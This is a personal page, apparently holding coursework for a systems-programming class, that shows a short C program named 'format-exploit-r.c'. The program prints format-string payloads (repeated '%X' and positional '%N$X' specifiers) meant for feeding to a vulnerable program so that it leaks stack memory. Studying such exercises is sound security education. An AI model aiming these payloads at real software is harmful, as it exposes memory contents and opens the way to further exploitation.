Milan Stephan
Fotografie & IT

Zurück zur SP2 Übersicht

format-exploit-r.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

static void print32(uint32_t i) {
	fwrite(&i, sizeof(uint32_t), 1, stdout);
}

int main(void) {
/*
	fputs("%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X", stdout);
	fputs("%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X", stdout);
	fputs("%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X", stdout);
	fputs("%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X", stdout);
*/

	for (int i = 21; i < 22+8 + 1; i++) {
		printf("%%%d$X.", i);
	}

	putchar('\n');
	fflush(stdout);
}